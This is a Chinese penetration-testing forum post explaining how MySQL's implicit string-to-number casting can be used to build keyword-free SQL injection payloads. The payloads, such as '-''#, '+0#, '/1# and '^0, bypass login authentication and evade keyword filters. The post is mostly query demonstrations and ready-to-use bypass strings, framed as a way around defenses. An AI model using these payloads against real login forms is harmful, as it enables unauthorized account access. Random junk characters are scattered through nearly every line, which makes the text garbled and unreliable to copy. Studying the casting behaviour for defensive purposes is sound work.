中国网络渗透测试联盟

标题: 使用MySQL字符串运算实施精巧化SQL注入攻击 [打印本页]

作者: admin    时间: 2013-11-23 16:20
标题: 使用MySQL字符串运算实施精巧化SQL注入攻击
我们先来看这样一个场景。- \0 C, v. [( t: T2 H
有以下表结构: : A; J! d/ v. }6 U$ `# r

9 P% t2 N9 T" ]- |, O9 c9 fmysql> desc admin;7 i3 k5 g6 I& |  y/ }
+----------+--------------+------+-----+---------+----------------+9 `$ X4 o; Z& |# l6 L- M4 {
| Field    | Type         | Null | Key | Default | Extra          |
% M  X2 [2 G' p& _+----------+--------------+------+-----+---------+----------------+
! {3 N+ V, \7 T) N| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |) S' F" \5 x6 w7 J, ], `
| name     | char(32)     | NO   | UNI | NULL    |                |
1 `  Q; S& X/ B4 F$ \, p6 h| password | char(32)     | NO   | UNI | NULL    |                |, e, ^# F# z0 E  y
+----------+--------------+------+-----+---------+----------------+
7 ]! N; T( |# v4 l( Q3 rows in set (0.00 sec)0 h* H% G5 E/ \( I' i) y
执行select * from admin;,成功返回所有记录内容。% _* M, {9 ]7 ?; e+ M
# d8 ^9 g( _# Y8 N$ J- r
( w- y+ G6 n; q
+----+--------+----------------------------------+% f" ^% T8 s7 o( N
| id | name   | password                         |7 m: T9 ~% F; N  L- ~
+----+--------+----------------------------------+
/ B0 D  D6 g9 d) {1 e|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |6 p* l! n4 R  u; ]1 ~1 `
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |; T, L0 o. v4 ?, z' Q1 O
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
6 b8 w8 ]. B3 X+----+--------+----------------------------------+
- I( s' i  d; [( Q, S7 A3 rows in set (0.00 sec)
5 _# q; K0 n7 {" [, k; n6 Y* V执行select * from admin where name=”;,没有匹配到任何记录。 ; z6 r* J! {  f
9 U% q  m3 D( C! q/ Y4 T( L+ u6 t
mysql> select * from admin where name = '';
# G8 Q, s: b) D* L5 @Empty set (0.00 sec)4 c% D. R9 r& G6 Y+ W5 J% v
那么我们来执行select * from admin where name = ”-”;
; @9 K; `, C: A6 n' ]- M% \7 E  C3 T# A9 Q3 x. S( n
0 u% ~4 h1 U7 N% ]) j+ @
+----+--------+----------------------------------+
: K$ n. K/ t9 \| id | name   | password                         |  ]2 F. U* d* a3 H4 K
+----+--------+----------------------------------+
3 Z+ o6 j! i( Q2 R" y9 L& S* N+ g|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
& |/ T0 c% j# h2 j, R|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |' p/ ^/ m  t9 \0 S
|  4 | n00b   | ff80e8508d39047460921792273533a4 |; J0 C; q3 ?' f
+----+--------+----------------------------------+* @$ Y: v* ~4 _
3 rows in set, 3 warnings (0.00 sec)4 [) B8 X# g, H
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 0 H$ h" _0 E6 j% }
0 y* Z2 _& `7 t3 Y
mysql> show warnings;
0 y1 @/ q7 z# k0 P6 A+---------+------+------------------------------------------+ s) z3 a! l2 P9 _) R8 v& n3 [  e
| Level   | Code | Message$ b+ Y# G' J7 O2 f" h/ t
+---------+------+------------------------------------------0 F. k0 e, k% b+ [
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin# l+ U3 c- s0 g* }5 P1 s* u
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s8 c7 N, z( Z) u) F
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
3 j5 E$ p) s4 G3 b3 Q" R$ w+---------+------+------------------------------------------
+ E) h4 i& Y' b8 P+ s/ z7 |+ F3 rows in set (0.00 sec)
  ?( T: c; M1 h提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 5 D) o$ e  L0 K5 P: @: p  O
. N9 _1 P5 m9 o- D3 Y/ G0 j0 p
mysql> select ''-'';, b$ H  I. i- b! g* `2 o
+-------++ n) |2 k  t( E$ u, C
| ''-'' |3 x5 Z! k$ U. C, A9 R; k6 y6 h
+-------+9 h; R  M' ?* F6 }
|     0 |
$ f4 S4 N0 a3 I. l8 f+-------+) W! V" t: \' Z1 k' J
1 row in set (0.00 sec)0 d$ l  J  R& H7 b6 ?
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: , ?, L/ r$ J3 m# _

+ l' i& s" M& }- Vmysql> select CAST((select name from admin limit 1,1) as DECIMAL);9 U! y* {) b+ O
+-----------------------------------------------------+2 G, u8 S: P5 K7 a- X
| CAST((select name from admin limit 1,1) as DECIMAL) |. n7 e* G$ c4 Q& ^. O# Q$ c
+-----------------------------------------------------+
" H& L: x* E2 c2 a2 W/ d- w|                                                   0 |
" Z2 a* a  }. I+ x+ w& A4 U+-----------------------------------------------------+( y2 }% I+ R) X: ]5 m9 e
1 row in set, 1 warning (0.00 sec)
& A" C  d' ^: u! e- h9 o因此where语句构成了相等的条件,where 0=”=”,记录被返回。 / g# n  Y6 @! B# X& ^1 u) J
* }2 b6 Z5 F. g( l) l
SQL注入场景: http://www.sqlzoo.net/hack/
+ T% R+ {) }8 Z* W3 m" A4 I5 V& E& O: ?  d' s  Z9 v7 C, r

& p4 L  L5 a- F4 c; b% `/ v4 _0 L2 o
5 c  G* Z2 Z  n
' ^2 x- C& Z) I2 Y如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
/ R. }7 o  \4 g% O/ R1 m, N0 z  o2 u  t0 [5 e" W% o
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 & g  x" l, L7 u( {' M. c

% K6 S% L0 J4 E; J8 H  p
4 C: @. ~" E4 y% z
1 z4 R/ }3 S& G# N$ `6 D1 W! x- }* J$ o7 X' N
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 6 E, D/ Q8 Q3 k4 U, b( v7 E" }
8 O; W& v5 x0 q( s/ U  e: V& ]
   9 Q3 B8 Z& p( u2 X" x3 T; j+ l0 ~. o

4 o/ c( t# m7 z! N' _) A7 N% r除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可3 C% Y: [1 i( i# O* [  D. w

- v1 r6 J3 c3 U! |5 j
8 _9 q; u" m7 P6 c$ qmysql> select ''/1;4 q" a) @' R8 H
+------+/ t5 p/ s  D! w) y
| ''/1 |9 ?  f  t- O' Y9 v, _
+------+
4 c" @' y6 ?& k2 `/ [/ @|    0 |/ x8 p% z; p3 G& |/ U' ?
+------+
8 C& J' j2 Y$ ~" D+ W( c0 h1 row in set (0.00 sec)
7 V6 p) d+ [# s3 C2 Q类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
5 S: `4 j$ y; v+ G8 G) |7 E8 N0 i4 a( S7 h( w  d$ B4 t+ C' t
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
7 X9 C& [, K5 \% o- R7 U* p





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2